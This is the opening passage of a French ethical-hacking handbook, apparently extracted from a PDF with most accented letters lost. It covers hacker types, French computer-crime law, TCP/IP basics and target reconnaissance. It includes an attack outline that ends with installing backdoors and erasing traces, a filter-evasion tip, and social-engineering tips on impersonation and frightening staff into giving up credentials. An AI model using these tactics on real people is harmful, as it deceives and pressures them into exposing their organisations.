Vous êtes sur la page 1sur 275

Auteur : NZEKA GILBERT Alias KHAALEL

(dark_khaalel@yahoo.fr) (http://cksecurity.free.fr,
http://ckdownload.free.fr et www.cksecurity.fr.fm)

HACKING / SECURITE
HAND-BOOK
(OU
COMMENT DEVENIR UN HACKER ETHIQUE)

Bienvenue tous.
Alors, en premier je vais me prsenter rapidement, ensuite je vais vous dire le
pourquoi de cet ouvrage et. Et bien si vous tes intress par le hacking dit thique
dans toute sa splendeur (ne vous inquitez pas, je ne suis pas un malade chuis juste un
passionn) vous lirez (jespre avec joie) cet ouvrage.

a) qui suis-je ?

Lorsque nous nous interrogeons: "Qui suis-je ?", nous considrons comme allant de soi que lon
est; la seule question est de connatre qui lon est. Nous avons prsuppos que nous sommes, cela n'
est
pas contest, c'
est considr comme allant de soi que nous sommes. Maintenant la seule question est:
Qui sommes-nous ?. Seule l'
identit doit tre connue, le visage doit tre mconnu, mais il est l,
mconnu mais l.
PHRASE DUN BOUDDHISTE THIBETAIN.

Alors, je suis un parisien de 17 ans (en 2004). Jai dcouvert linformatique en 4me et
a t comme une drogue (bon vous voyez de quoi je veux parler). En classe de
3me, jai dcouvert la programmation et le hacking (grce un ami)
Deux ans ont pass et je suis encore l pour vous prsenter lun de mes plus grands
projets : cet ouvrage. Voil pas besoin den connatre plus mon sujet.

b) cet ouvrage
Alors, pourquoi avoir crit cet ouvrage ?
Premirement, par dfi.
Deuximement, jadhre la philosophie qui prne la diffusion de certains savoirs.
Troisimement, il y a quelques mois, jai lu un article qui parlait dun jeune hacker
indien de 16 ans qui avait crit un livre sur le hacking, je lai longuement cherch sur
les rayons des librairies que jai lhabitude de frquenter et ne layant pas trouv je
me suis dcid crire ce bouquin.
Et pour finir, jai lu un article, il y a quelques mois de cela, disant quun pirate devait
se reconvertir et se mettre du ct de la scurit : je me suis donc dcid le faire
(jespre que je serait bien plus productif pour la communaut informatique quavant)
J'
espre que cet ouvrage apportera de l'
aide aussi bien aux hackers (jai bien dit
hacker et pas lamers), qu'
aux dveloppeurs en passant par les administrateurs

Pour finir, je ne pourrais tre tenu responsable des agissements de


certaines personnes qui auraient lu ce prsent livre.
Ce disclamer ne sert peut-tre rien je lavoue mais compte tenu des dernires lois
(des lois trs ..) je prfre prendre mes prcautions et prvenir certaines personnes
qui croient dur comme fer que le seul moyen de scuriser le net est denfermer
(physiquement ou par le biais de lois) les hackers et les professionnels se trompent
enormment et que le seul truc quils y gagnent est en manque de scurit et une
recrudescence des piratages en masse et des virus. Les prochaines semaines et les
prochains mois vont tre trsheu comment dire interressants.

SOMMAIRE
I

Introduction

1re partie : les bases


II Les hackers
III TCP/IP
2me partie : hacking / scurit informatique
IV Quelques recherches sur la cible
1) Recherches manuelles
2) Automatisation des recherches
V

Infiltration, piratage, scurisation des systmes


1) Windows 9x / 2000 / NT / XP
2) UNIX / LINUX

VI Dautres techniques de piratage


1) attaques DoS et DdoS
2) Buffer Overflow
3) Dtournement de sessions
4) Format String
5) Failles spcifiques au web
6) Messageries et cookies
7) Retrouver ses mots de passes perdus
8) Sniffing
9) Spoofing
10) Virologie informatique
VII Piratage de composants rseaux
1) IDS et contournement
2) Murs pare-feu
3) Piratage arien
4) War Dialing
VIII Piratage logiciel
IX Cryptographie
3me partie : programmation
X
XI
XII
XIII

Language C
Python
Quelques fonctions de la PCAP
Winsock (1re partie)

XIV Winsock (2me partie)


4me partie : dveloppement dutilitaires de scurit
XV
XVI
XVII
XVIII
XIX

Un crack/patch
Scanner de ports
Clients/serveurs TCP et UDP
Sniffers
Virus batch

5me partie : annexes


XX
XXI
XXII
XXIII
XXIV

Principes importants de scurit


Commandes DOS
Ports utiliss par certains troyens
Cracking dun application
Challenge de cracking

Introduction
La scurit informatique, un domaine important notre poque est encore trop
souvent laiss de ct par des entreprises ou des particuliers jusqu'
au jour o ils
s'
aperoivent que leurs systmes ont t visits par un pirate informatique, que leurs
donnes confidentielles (logins, mots de passe, informations bancaires, feuilles de
paie) ont t drobes ou copies, qu'
ils taient espionns
Jai crit ce livre dans le but de fournir un guide des armes ncessaires pour la
scurisation des rseaux et des systmes en montrant et expliquant les armes, outils et
techniques des pirates. Il na pas la prtention dtre une rfrence en la matire car
un tel ouvrage ne ferait pas moins de 3000 pages et devrait tre mis jours chaque
semaine.
Certaines personnes seront bien sur contre la publication dun tel ouvrage car elle
dveloppe et dcrit les techniques quutilisent les pirates et peut inciter les lecteurs
pirater des systmes. Ils nont pas tord. Mais quils sachent que ce livre a pour but
premier daider les internautes et les administrateurs scuriser leurs rseaux et les
systmes.

A qui est adress ce livre


Ce livre est adress toute personne intresse par la scurit informatique ou par le
hacking que lon dit thique .
Il est aussi adress aux personnes administrant des rseaux et devant les scuriser. Les
hackers et les professionnels de la scurit informatique pourront peut-tre y trouver
un guide condens des techniques d'
attaques sur les rseaux, les systmes, les
logiciels et sur les systmes cryptographique.

Comment tirer parti de ce livre


Cet ouvrage peut tre lu de diffrentes manires.
Certains peuvent le lire comme une histoire, dautres comme une initiation la
scurit, ou encore comme un vrai cours de scurit informatique (traitant de la
scurit des rseaux, des logiciels, des systmes dexploitations et des systmes
cryptographiques) et de dveloppement rseau.
Pour ceux qui veulent adopter la dernire mthode de lecture, sachez que ce livre
nexplique que les techniques de piratage et ne dtaillent aucune vulnrabilit prcise
(il y a aura par exemple un chapitre sur les vulnrabilit du type dpassements de
tampon et comment les exploiter gnralement, par contre il ny aura pas de passage

expliquant des failles spcifiques comme celle qui touche une version de ssh et qui
peut permettre davoir les pouvoirs root du serveur vulnrable).

Organisation du livre
Partie I : Les bases
Qui sont vraiment ces hackers ?
TCP/IP
Partie II : Hacking/Scurit informatique
Faire des recherches sur la futur cible,
Infiltrer, pirater et scuriser les systmes dexploitations,
Techniques avances de piratage,
Piratage de composants rseaux,
Piratage logiciel,
Cryptographie.
Partie III : Programmation rseau
Le language C et le language Python,
Fonctions de la PCAP,
Winsock.
Partie IV : Dveloppement doutils de scurit
Un crack/patch,
Scanner de ports basique,
Clients/serveurs TCP et UDP basiques,
Sniffers,
Virus batch.

Partie V : Annexes
Principes de scurit,
Commandes DOS,
Ports utiliss par certains troyens,
Cracking dun application,
Challenge de cracking.

Partie I : Les bases

Les hackers

10

Les hackers ne sont pas seulement ces dlinquants du web, comme le montrent les
mdias, qui passent leurs journes pirater des systmes et des logiciels dans le but
de faire couler des socits ou de ruiner l'
conomie. Certes certains pirates aiment
dtruire et piller des donnes confidentielles dans un but de dfi, pour de l'
argent ou
pour le plaisir. Mais il ne faut pas faire d'
amalgame : tous les hackers ne sont pas
comme cela.
Mais alors qui sont ces hackers ? et comment sorganisent-ils ?
La famille des hackers est bien structure :
- en premier, il y a les newbies (dbutants) : ce sont gnralement des
adolescents fascins par les exploits de certains hackers et qui se sont mis
apprendre tout ce qu'
ils pouvaient dans le domaine de l'
informatique.
- ensuite, il y a les intermdiaires, anciens newbies qui ont acquis une
somme de connaissances en scurit informatique, programmation et sur
les rseaux.
- puis il y a les Whites Hat Hackers, des lites en hacking qui programment
longueur de journe et ne font que rechercher des failles dans les
systmes, logiciels
Ces 3 prcdents membres de la famille des hackers travaillent pour une amlioration
de la structure.
Maintenant, voyons d'
autres membres de la famille des hackers qui travaillent dans le
ct obscur du hacking. Ils prfrent profiter des failles et les exploitent pour le
plaisir ou pour de l'
argent :
- il y a, en premier, les lamers, des tres dune nullit inimaginable, ne
faisant quutiliser des programmes tout fait (surtout des logiciels servant
faire du nuke, du mail bombing) et qui n'
arrtent pas de se vanter d'
tre
les meilleurs pirates du monde, d'
avoir pntr des systmes comme ceux
de la NASA, des gouvernements On les retrouve surtout sur IRC et
ICQ.
- ensuite, il y a les Blacks Hat Hackers, des lites qui prfrent dtruire tout
systme qui leur tombent sous la main.
Voici maintenant d'
autres membres que l'
on ne peut classer avec les autres :
- les phreakers : ce sont des personnes sinfiltrant dans les systmes
tlphoniques. Forts de leurs connaissances dans les rseaux
tlphoniques commuts et en lectronique, ils peuvent construire des
systmes lectroniques (appels Box ) ayant des fonctions bien
dfinies comme avoir la possibilit de tlphoner l'
autre bout de la terre
sans dbourser d'
argent , de tlphoner sur le compte d'
une entreprise
- les crackers : ce sont des personnes piratant les logiciels payants de faon
pouvoir les utiliser indfiniment sans dpenser d'
argent. Ce sont des
lments importants mes yeux, car certains aiment aussi trouver des
failles dans les logiciels.

11

les hacktivistes : ce sont des hackers utilisant leurs connaissances pour


dfendre ce en quoi il pensent et se battre pour un but (les droits de
l'
homme, la non commercialisation de l'
Internet).

Quels sont les comptences de base des hackers ?


Comme nous venons de le voir, il existe une grande varit de hackers, ayant chacun
leurs domaines de prdilection; mais avant de se spcialiser, il faut gnralement :
- savoir programmer sinon on ne peut tre ni un hacker ni un informaticien.
Il faut au moins connatre deux languages dans cette liste : C++, Java,
Perl, Python, Rebol, Assembleur, Lisp, Scheme, Delphi et Visual Basic
en plus du C et de lHTML (qui est plus un language de mise en page).
- connatre les technologies des rseaux (principes de base, services), la
pile de protocoles TCP / IP et tout ce qui s'
y rapporte.
- savoir utiliser Internet : faire des recherches intelligentes et prcises.
- connatre les principes de base et savoir utiliser les systmes
d'
exploitation les plus courants : Windows, Unix, Linux.
- avoir des bases en lectronique et en hardware pour savoir identifier un
matriel quelconque.

La loi
Maintenant voyons ce que dit la loi au sujet du piratage informatique. ATTENTION,
je nai pas pris en compte la LEN car au moment o jcrit, elle nest quun projet.
Loi n 88-19 du 5 janvier 1988
relative la fraude informatique
Journal officiel du 6 janvier 1988
L'assemble nationale et le Snat ont adopt.
Le prsident de la Rpublique promulgue la loi dont la teneur
suit :
Article unique
Dans le titre II du livre III du code pnal, il est insr,
aprs le chapitre II, un chapitre III ainsi rdig:
Chapitre III
De certaines infractions en matire informatique
Article 462-2
Quiconque, frauduleusement, aura accd ou se sera maintenu
dans tout ou partie d'un systme de traitement automatis de
donnes sera puni d'un emprisonnement de deux mois a un an et

12

d'une amende de 2 000 F a 50 000 F ou de l'une de ces deux


peines.
Lorsqu'il en sera rsult soit la suppression ou la
modification de donnes contenues dans les systme, soit une
altration du fonctionnement de ce systme, l'emprisonnement
sera de 2 mois a 2 ans et l'amende de 10 000 F a 100 000 F.
Article 462-3
Quiconque aura, intentionnellement et au mpris des droits
d'autrui, entrav ou fauss le fonctionnement d'un systme de
traitement automatis de donnes sera puni d'un emprisonnement
de trois mois 3 ans et d'une amende de 10 000 F a 100 000 F
ou de l'un de ces deux peines.
Article 462-4
Article 462-4 : Quiconque aura, intentionnellement et au
mpris des droits d'autrui, directement ou indirectement,
introduit des donnes dans un systme de traitement automatis
ou supprim ou modifi les donnes qu'il contient ou leurs
modes de traitement ou de transmission sera puni d'un
emprisonnement de 3 mois a 3 ans et d'une amende de 2000 F a
500 000 F ou de l'une de ces deux peines.
Article 462-5
Quiconque aura procd a la falsification de documents
informatiss, quelle que soit leur forme, de nature a cause un
prjudice autrui, sera puni d'un emprisonnement d'an cinq
ans et d'une amende de 20 000 F 2 000 000 F.
Article 462-6
Quiconque aura sciemment fait usage des documents viss par
l'article 462-5 sera puni d'un emprisonnement d'un an cinq
ans et d'une amende 20 000 F 2 000 000 F ou de l'une de ces
deux peines
Article 462-7
La tentative des dlits prvus par les articles 462-2 a 462-6
est punie des mmes peines que le dlit lui-mme.
Article 462-8
Quiconque aura particip une association forme ou une
entente tablie en vue de la prparation, concrtise par un
ou plusieurs faits matriels, d'une ou plusieurs infractions
prvues par les articles 462-2 a 462-6 sera puni des peines
prvues pour l'infraction elle-mme ou pour l'infraction la
plus svrement rprime.

13

Article 462-7
Le tribunal pourra prononcer la confiscation des matriels
appartenant au condamn et ayant servi commettre les
infractions prvues au prsent chapitre.

Loi n 2000-230 du 13 mars 2000


portant adaptation du droit de la preuve aux technologies
de l'information et relative la signature lectronique
L' Assemble nationale et le Snat ont adopt,
Le Prsident de la Rpublique promulgue la loi dont la teneur
suit :
Article 1er
I. - L'article 1316 du code civil devient l'article 1315-1.
II. - Les paragraphes 1er, 2, 3, 4 et 5 de la section 1 du
chapitre VI du titre III du livre III du code civil deviennent
respectivement les paragraphes 2, 3, 4, 5 et 6.
III. - Il est insr, avant le paragraphe 2 de la section 1 du
chapitre VI du titre III du livre III du code civil, un
paragraphe 1er intitul : Dispositions gnrales ,
comprenant les articles 1316 1316-2 ainsi rdigs :
Art. 1316. - La preuve littrale, ou preuve par crit,
rsulte d'une suite de lettres, de caractres, de chiffres ou
de tous autres signes ou symboles dots d'une signification
intelligible, quels que soient leur support et leurs modalits
de transmission.
Art. 1316-1. - L'crit sous forme lectronique est admis en
preuve au mme titre que l'crit sur support papier, sous
rserve que puisse tre dment identifie la personne dont il
mane et qu'il soit tabli et conserv dans des conditions de
nature en garantir l'intgrit.
Art. 1316-2. - Lorsque la loi n'a pas fix d'autres
principes, et dfaut de convention valable entre les
parties, le juge rgle les conflits de preuve littrale en
dterminant par tous moyens le titre le plus vraisemblable,
quel qu'en soit le support.
Article 2
L'article 1317 du code civil est complt par un alina ainsi
rdig :
Il peut tre dress sur support lectronique s'il est tabli
et conserv dans des conditions fixes par dcret en Conseil
d'Etat.
Article 3
Aprs l'article 1316-2 du code civil, il est insr un article

14

1316-3 ainsi rdig :


Art. 1316-3. - L'crit sur support lectronique a la mme
force probante que l'crit sur support papier.
Article 4
Aprs l'article 1316-3 du code civil, il est insr un article
1316-4 ainsi rdig :
Art. 1316-4. - La signature ncessaire la perfection d'un
acte juridique identifie celui qui l'appose. Elle manifeste le
consentement des parties aux obligations qui dcoulent de cet
acte. Quand elle est appose par un officier public, elle
confre l'authenticit l'acte.
Lorsqu'elle est lectronique, elle consiste en l'usage d'un
procd fiable d'identification garantissant son lien avec
l'acte auquel elle s'attache. La fiabilit de ce procd est
prsume, jusqu' preuve contraire, lorsque la signature
lectronique est cre, l'identit du signataire assure et
l'intgrit de l'acte garantie, dans des conditions fixes par
dcret en Conseil d'Etat
Article 5
A l'article 1326 du code civil, les mots : de sa main sont
remplacs par les mots : par lui-mme .
Article 6
La prsente loi est applicable en Nouvelle-Caldonie, en
Polynsie franaise, Wallis-et-Futuna et dans la
collectivit territoriale de Mayotte.
La prsente loi sera excute comme loi de l'Etat.
Fait Paris, le 13 mars 2000.

Voici un autre article de la loi qui est ds fois ajoute aux prcdentes :
Article 131-39 du code pnal
Lorsque la loi le prvoit l'encontre d'une personne morale,
un crime ou un dlit peut tre sanctionn d'une ou plusieurs
des peines suivantes :
1 La dissolution, lorsque la personne morale a t cre ou,
lorsqu'il s'agit d'un crime ou d'un dlit puni en ce qui
concerne les personnes physiques d'une peine d'emprisonnement
suprieur cinq ans, dtourne de son projet pour commettre
les faits incrimins ;
2 L'interdiction, titre dfinitif ou pour une dure de cinq
ans au plus, d'exercer directement ou indirectement une ou
plusieurs activits professionnelles ou sociales ;
3 Le placement, pour une dure de cinq ans au plus, sous
surveillance judiciaire ;
4 La fermeture dfinitive ou pour une dure de cinq ans au
plus des tablissements ou de l'un ou de plusieurs des

15

tablissements de l'entreprise ayant servi commettre les


faits incrimins ;
5 L'exclusion des marchs publics titre dfinitif ou pour
une dure de cinq ans au plus ;
6 L'interdiction, titre dfinitif ou pour une dure de cinq
ans au plus, de faire appel public l'pargne ;
7 L'interdiction, pour une dure de cinq ans au plus,
d'mettre des chques autres que ceux qui permettent le
retrait de fonds par le tireur auprs du tir ou ceux qui sont
certifis ou d'utiliser des cartes de paiement ;
8 La confiscation de la chose qui a servi ou tait destine
commettre l'infraction ou de la chose qui en est le produit ;
9 L'affichage de la dcision prononce ou la diffusion de
celle-ci soit par la presse crite, soit par tout moyen de
communication audiovisuelle.
Les peines difinies au 1 et 3 ci-dessus ne sont pas
applicables aux personnes morales de droit public dont la
responsabilit pnale est susceptible d'tre engage. Elles ne
sont pas non plus applicables aux partis ou groupements
politiques ni aux syndicats professionnels. La peine dfinie
au 1 n'est pas applicable aux institutions reprsentatives du
personnel.

Avant de passer au vif du sujet, vous devez savoir comment se droule le piratage
d'
un systme.
Si le mot piratage vous fait peur ou vous gne, dites-vous bien quavant de
scuriser un systme, il faut toujours faire des tests de pntration (appels Pen-Test)
pour cibler les failles
De plus pour contrer efficacement une personne, il faut soit penser comme elle, soit
connatre ses limites : cela s'
applique aussi aux pirates informatique et la
connaissance de leurs limites passe par la connaissance des techniques de piratage.
En gros pour scuriser un systme, il faut se mettre la place dun pirate.
Le droulement logique d'
une attaque commence par la recherche d'
informations sur
le systme cible aussi bien dans les sources publiques que sur le systme.
Puis il va falloir essayer de s'
y infiltrer sans tre remarqu.
Arriv ce point, il faut essayer de trouver des informations qui vont nous permettre
d'
obtenir les droits dadministrateur.
Enfin il va falloir installer des backdoors (des programmes qui vont nous permettre de
revenir facilement sur le systme cible).
Pour finir il faut masquer et effacer ces faits et gestes sur le systme.

16

17

TCP / IP

18

TCP/ IP est une pile de protocoles qui sert faire communiquer entre elles des
machines htrognes.

le modle OSI :
En 1984, lOSI (Open System Interconnect) un ensemble de spcifications sur la
structuration des protocoles et des systmes a t cr.
Le modle OSI est constitu de 7 couches (ou niveaux) qui assurent chacunes une
fonction et intgrent un certain nombre de protocoles.

Voici une description de chaque couche :

la couche physique :
Elle a pour but de transporter des donnes (signaux produits par les systmes et
devant tre envoys d'
autres systmes) au travers des divers moyens de transport
prsents dans les rseaux (cbles, fibres).

la couche liaison de donnes :


Elle a pour but d'
aider la bonne transmission des donnes entre systmes en crant
des paquets rseau. Cette couche est constitue de deux sous-couches LLC (Logical
Link Control) et MAC (Medium Access Control) ne pas confondre avec une adresse
MAC (celles des cartes rseaux) bien quelle gre ladressage de ces dernires ou
avec le contrleur d'
intgrit de SSL (Message Authentification Code).

la couche rseau :

19

Elle a pour but de grer tous les problmes concernant les rseaux (adressage,
invalidit, indisponibilit) .

la couche transport :
Elle a pour but d'
assurer que les systmes communiquent bien entre eux, mais aussi
que les paquets sont bien transmis.

la couche session :
Elle a pour but de contrler les liaisons entre les systmes pour qu'
ils puissent
communiquer correctement. Elle ne fait que contrler et ntablit aucune liaison car
c'
est la fonction de la couche transport d'
tablir la session, la demande de la couche
session.

la couche prsentation :
Elle a pour but de convertir les donnes fournies par l'
utilisateur dans un type de
donnes ( ou langage) comprhensible par tous les systmes. Un peu comme lXML
qui peut servir un script en PHP qui pourrait envoyer des donnes un script en
REBOL.

la couche application :
Elle a pour but de permettre l'
utilisateur d'
utiliser les services (grce aux protocoles)
offerts par son systme.

Quelques protocoles :
TCP / IP enveloppe beaucoup de protocoles dont TCP, IP, UDP, ARP, RARP, ICMP,
IGMP, SNMP, RIP, OSPF, BGP, EGP, DRP, IGRP, EIGRP, NCP, PPP, SMTP, FTP,
POP/IMAP, DHCP, HTTP, OSPFIGP
Il existe d'
autres piles de protocoles :
NetBIOS / NetBEUI
et
IPX/IPS
Petites explications :
IP

(OSI 3) Cest un protocole grant ladressage des paquets envoys sur le


rseau

20

Version

IHL

Type de
service

Identificateur
TTL

TCP

Longueur du paquet
Flags

Offset du
Fragment
Protocole
Cheksum den-tte
Adresse IP source
Adresse IP cible
Options / remplissage ( padding )
Zones de donnes

( OSI 4 ) Cest un protocole en mode connect (cela veut dire quil


tablit une connexion entre les systmes qui communiquent).
Il choisit aussi le type de paquets envoyer sur le rseau en fonction de
lenvironnement et de laction effectuer (connexion, dconnexion,
requtes diverses).
Quand TCP finit tous ses prparatifs, il envoie ces donnes (on dit
aussi segments de donnes) au protocole IP. Ce dernier enverra le
paquet par le rseau.
Pour assurer sa fonction, TCP utilise diffrentes techniques, comme :
- le contrle des paquets (pour dventuelles erreurs)
- la cration dune connexion virtuelle, entre les systmes en
communication de type full-duplex (connexion en double-sens)
-
Voici un paquet TCP :
port source

port destination
numro de squence
accus de rception

dcalage
rserv urg ack psh rst syn fin
fentre
donnes
somme de contrle (checksum)
pointeur de donnes urgentes
options
remplissage (padding)
donnes
UDP

( OSI 4 ) Cest un protocole en mode dconnect semblable TCP mais


tant moins scuris et plus simple dutilisation, car il ne cr pas de
connexion entre les systmes qui communiquent et ne fait quenvoyer
des datagrammes sur le rseau sans contrle des paquets.
Voici un paquet UDP :

21

Type

ID

Code
Donnes

Cheksum
Numro de squence

Quelques notions de base :


Clients/Serveurs :
De nos jours, les rseaux fonctionnent grce la topologie client/serveur.
Le systme client ouvre une session sur le systme serveur puis faire de requtes
spcifiques au(x) service(s) que dlivre ce dernier.
Le systme serveur est dvelopp pour accepter la connexion dun des client et
fournir un/des service(s) spcifique(s).
Pour information, un service nest fournit que par un serveur et peut-tre de types
diffrents : service http, ftp

Sockets :
Pour faire communiquer des systmes travers le rseau, des chercheurs ont cr ce
que lon appelle des sockets.
Maintenant quoi que lon fasse sur un rseau, on utilise sans le savoir (ou plutt sans
sen proccuper) des sockets.
Pour information, les sockets sont principalement constitus dune adresse IP et dun
port de communication.

22

23

Partie II :
Hacking / Scurit

24

Quelques recherches sur


la cible

25

Sources publiques

whois :
Les whois sont des services proposs gratuitement en ligne et qui permettent
dobtenir des informations sur un domaine particulier, sur une adresse de messagerie.
Grce ses bases de donnes comme :
whois.ripe.net : qui s'
occupe d'
attribuer des adresses IP pour l'
Europe.
whois.apnic.net : qui s'
occupe d'
attribuer des adresses IP pour l'
Asie
Pacifique.
whois.nic.mil : qui gre l'
attribution des adresses IP des systmes
militaires amricains.
whois.nic.gov : qui gre lattribution des adresses IP des systmes du
gouvernement amricain.
linternic : le plus connu.
La liste n'
est pas finie, mais vous pouvez facilement en trouver dautres sur Internet
grce google.
Pour obtenir les informations donnes par un whois, vous pouvez choisir d'
utiliser la
commande whois de Unix, des programmes comme WS Ping Pro Pack, ou vous
pouvez aller sur un site proposant une base de donnes de recensement des noms de
domaine.

les groupes de discussions :


Les groupes de discussions (newsgroups) permettent davoir des informations
techniques par dautres utilisateurs sur un sujet prcis. Ces newsgroups fonctionnent
gnralement comme un forum o lon poste des messages en y laissant une adresse
mail personnelle pour quon puisse identifier les messages. Maintenant intressontnous au protocole qui permet de poster des messages sur ces newsgroups. Ce
protocole sappelle NNTP (Network News Transfer Protocol) et utilise le port TCP
119.
Vous allez me dire quel rapport entre la recherche d'
informations sur la cible et
l'
exploration des newsgroups. Imaginez qu'
un poste du domaine cible demande des
informations sur un newsgroup et maintenant imaginez que ce soit ladministrateur du
rseau qui demande des informations sur la configuration des systmes pour le
rseau. Bien sr, ce serait le rve pour un pirate car il pourrait savoir en temps rel ce
que ladministrateur veut et recherche. Malheureusement ces situations se passent
plus souvent quon puisse le croire.

26

le site de la cible :
Si la cible a un site, vous devez le parcourir la recherche dadresses mails et d'
autres
informations prcieuses. Ne pas hsiter parcourir le code source des pages dans le
but de recenser des commentaires, ou des caractristiques qui pourraient permettre de
remonter aux dveloppeurs.
Les aspirateurs de sites permettent dautomatiser ces recherches, en voici une liste:

Nom du logiciel :
OS viss :
Licence :
Editeur ou Auteur :
Le but du logiciel :

Teleport pro
NT/95/98/2000/ME/XP
dmo
Tenmax
Trs bon aspirateur de sites web, qui va
dupliquer le site sur le disque dur et que
lon va pouvoir visiter hors ligne. Permet
aussi de rapatrier des fichiers spcifiques
(comme les fichiers vidos ou les pages
contenant un certain mot).

27

Nom du logiciel :
OS viss :
Licence :
Editeur ou Auteur :
Le but du logiciel :

HTTrack
NT/95/98/2000/ME/XP
freeware
Xavier Roche & Yann Philippot
Un trs bon aspirateur qui permet de
rcuprer tous les fichiers dun site. Il
permet aussi de mettre jour un site dj
existant sur notre disque dur, faire des
copies miroir dun site dj en ligne

Nom du logiciel :
OS viss :
Licence :
Editeur ou Auteur :
Le but du logiciel :

WebCopier
NT/95/98/2000/ME/XP
shareware
MaximumSoft Corp.
Cest un autre aspirateur de sites web.

Nom du logiciel :
OS viss :
Licence :
Editeur ou Auteur :
Le but du logiciel :

SmartBud
NT/95/98/2000/ME
freeware
Atom e-City Ltd.
Un superbe aspirateur de sites webs, qui a
normment de qualits (en faites , je ne
lui trouvons aucun dfaut) que vous devez
dcouvrir.
Pour plus de logiciels , allez sur la page : http://www.idf.net/info/table.html.
Pour information, le code PHP dune page nest pas visible car il est interprt.

28

divers :
Les pages jaunes peuvent tre une trs bonne documentation de base pour avoir
certaines informations sur l'
entreprise ou un particulier comme des numros de
tlphone qui vous permettront de lancer des attaques sur le rseau tlphonique.
La presse pourrait aussi vous donner des informations utiles sur les entreprises
comme leur politique de scurit partir dun interview dun des employs et pleins
dautres informations, mais cela dpend bien sr de l'
entreprise, de son domaine
d'
application, de sa renomme
Si votre cible est cote en Bourse, fusionne, rachte, crer des filiales, vous pouvez
accder ces informations qui sont toutes stockes dans des bases de donnes comme
celle de Edgar de Sec. ( qui se situe l'
adresse http://www.sec.gov).

les moteurs de recherche et les agents intelligents :


La principale arme du pirate est l'
information. Il se doit donc de savoir utiliser les
outils de recherche d'
informations sur Internet (les moteurs de recherche et les agents
intelligents) : il doit donc apprendre manier les mots cls qui lui permettront
d'
accder des documents.

social engeneering et trashing :


Le social engeneering n'
est pas une technique de piratage mais une technique
millnaire servant se faire passer pour une autre personne grce la parole.
Cette technique est trs souvent utilise par les pirates dans le but d'
obtenir des
identifiant, des mots de passe, des numros de cartes de crdit ou pour que les
personnes contactes excutent ou fournissent ce quils recherchent.
Vous allez prendre connaissances de quelques conseils pour russir une attaque de
type ingnierie sociale.
se prparer l'
avance, en marquant sur une feuille les questions
poser et votre fausse identit,
s'
entraner changer de voix,
ne jamais raccrocher brutalement au nez de votre interlocuteur,
mme s'
il ne veut pas excuter vos volonts,
toujours faire des recherches sur l entreprise pour ne jamais tre
pris au dpourvu au tlphone,
ne jamais tourner autour du pot toujours aller droit au but,
ne pas trop parler pour qu'
il puisse vous dvoiler les informations
voulues

29

viter les onomatopes du genres : heu, hein !, on, je sais pas


. car vous ne paraissez pas sr de vous.
faire le psychologue en adoptant un ton diffrent en fonction de
la personne tant l'
autre bout du combin. Comme la peur en
faisant comprendre la personne qu'
elle va sattirer les colres du
patron ou subir des actions indsirables comme des coupures
d'
lectricit , avoir la visite du fisc, de lADAPI ou sinon lui
montrer que si elle accepte de faire ce que vous lui demander, elle
vous faciliterait grandement la vie.
ne pas insulter les personnes ou la forcer faire ce qu'
elle ne veut
pas faire mais plutt essayer de savoir ce qui la gne.
garder son contrle jusqu'
la fin.
ne pas s'
nerver.
toujours remercier la personne mme si elle n'
a pas satisfait vos
attentes
mettre des bruits de fond comme dans un bureau (bien sr cela
dpend du contexte dans lequel vous vous trouvez).
avoir beaucoup d'
imagination, cela peut servir car rpter le mme
scnario plusieurs fois conduit un chec total.
Le trashing consiste faire les poubelles de la cible dans le but de trouver des
informations intressantes (vous ne vous imaginez pas ce que l'
on peut y trouver si on
a de la chance) comme le social enginneering, cette technique n'
est pas spcifique au
piratage mais peut grandement aider.

Parades :
Il n'
y a pas de parade ceci car vous ne pouvez contrler l'
accs ces informations et
si vous donner de fausses informations vous ne respecter plus les chartes donc donner
chaque fois que le strict minimum. En ce qui concerne lingnierie sociale, formez
le personnel, en leur expliquant quils doivent, par exemple, contacter un des chef
lors de ce genre d'
appel avant de donner des informations.

30

31

Utilitaires et outils automatiss


ping :
Un ping est une fonction importante car elle permet de savoir si une adresse IP est
attribue, elle va aussi permettre de savoir o est situe la personne qui appartient
lIP et aussi de connatre le fournisseur d'
accs de la cible grce l'
option de
rsolution l'
adresse IP en nom dhtes. On peut pinger des machines grce des
logiciels comme : nmap, Pinger de Rhino9 , Ping Sweep de SolarWind, WS_Ping
ProPack de Ipswitch , et les outils netscan. il existe plein d'
autre mais se sont les plus
connus.
Les interprteurs de commandes intgrent aussi une commande ping . Voici quelques
options sous MS-DOS :
-t : qui envoie des requtes ping sur lhte jusqu'

qu'
une personne interrompe cela l'
aide de CTRL + C
-a : qui permet de rsoudre une adresse IP en nom
dhte
-i x : qui permet de dterminer le TTL des paquets
ping (x doit tre compris entre 1 et 255)
-n x : qui permet d'
envoyer un nombre dtermin de
paquet ICMP_ECHO_REQUEST.
Ce sont les options les plus importantes de la commande Ping sous MS-DOS.
Pour information la commande Ping envoi des paquets et grce protocole
ICMP_ECHO_REQUEST et reoit des paquets de type ICMP_ECHO_REPLY.
Exemple
dutilisation
de la
commande
ping sous
windows :

32

traceroute et tracert :
Traceroute (pour Linux) et tracert (pour Windows) permettent de tracer et suivre le
chemin qu'
emprunter un paquet quelconque jusqu'
au systme cible. On peut aussi
dterminer la topologie dun rseau. Normalement, la dernire adresse IP marque
doit tre celle du destinataire. Si a n'
est pas le cas, un systme filtrant est plac avant
le systme du destinataire.
traceroute utilise par dfaut le protocole UDP pour l'
envoi des paquets, il peut aussi
utiliser le protocole ICMP. tracert lui fonctionne de manire inverse traceroute ,
car il utilise par dfaut le protocole ICMP pour l'
envoi des paquets et peut utiliser le
protocole UDP.
Astuces : affectez le port TCP 53 vos paquets envoys avec traceroute et tracert
car ce port n'
est gnralement pas filtr par les systmes de filtrage de paquets (cf
chapitre sur les murs par-feu) .
Exemple
dutilisation
de la
commande
tracert sous
windows :

Voici des utilitaires permettant de pinger et tracer des systmes :


Nom du logiciel :
OS viss :
Licence :
Editeur ou Auteur :
Le but du logiciel :

TRIDCOMM
Tous les windows
freeware
Fournit un ping et un tracert sur
fond de carte terrestre dans le but
de savoir dans quel endroit est situ
le systme trac

33

Nom du logiciel :
OS viss :
Licence :
Editeur ou Auteur :
Le but du logiciel :

NEOTRACE EXPRESS 3.25


Tous le windows
freeware
Comme tridcomm, il permet de
tracer une ip, un serveur, un pc
sur fond de carte terrestre.

Nom du logiciel :
OS viss :
Licence :
Editeur ou Auteur :
Le but du logiciel :

PING PLOTTER 2.30.1


Tous les windows
shareware
Il a de trs bonnes fonctions que je
vous laisse dcouvrir, entre autre, il
permet de tracer une ip, faire des
lookup

les commandes Dos utiles aux hackers :


PING
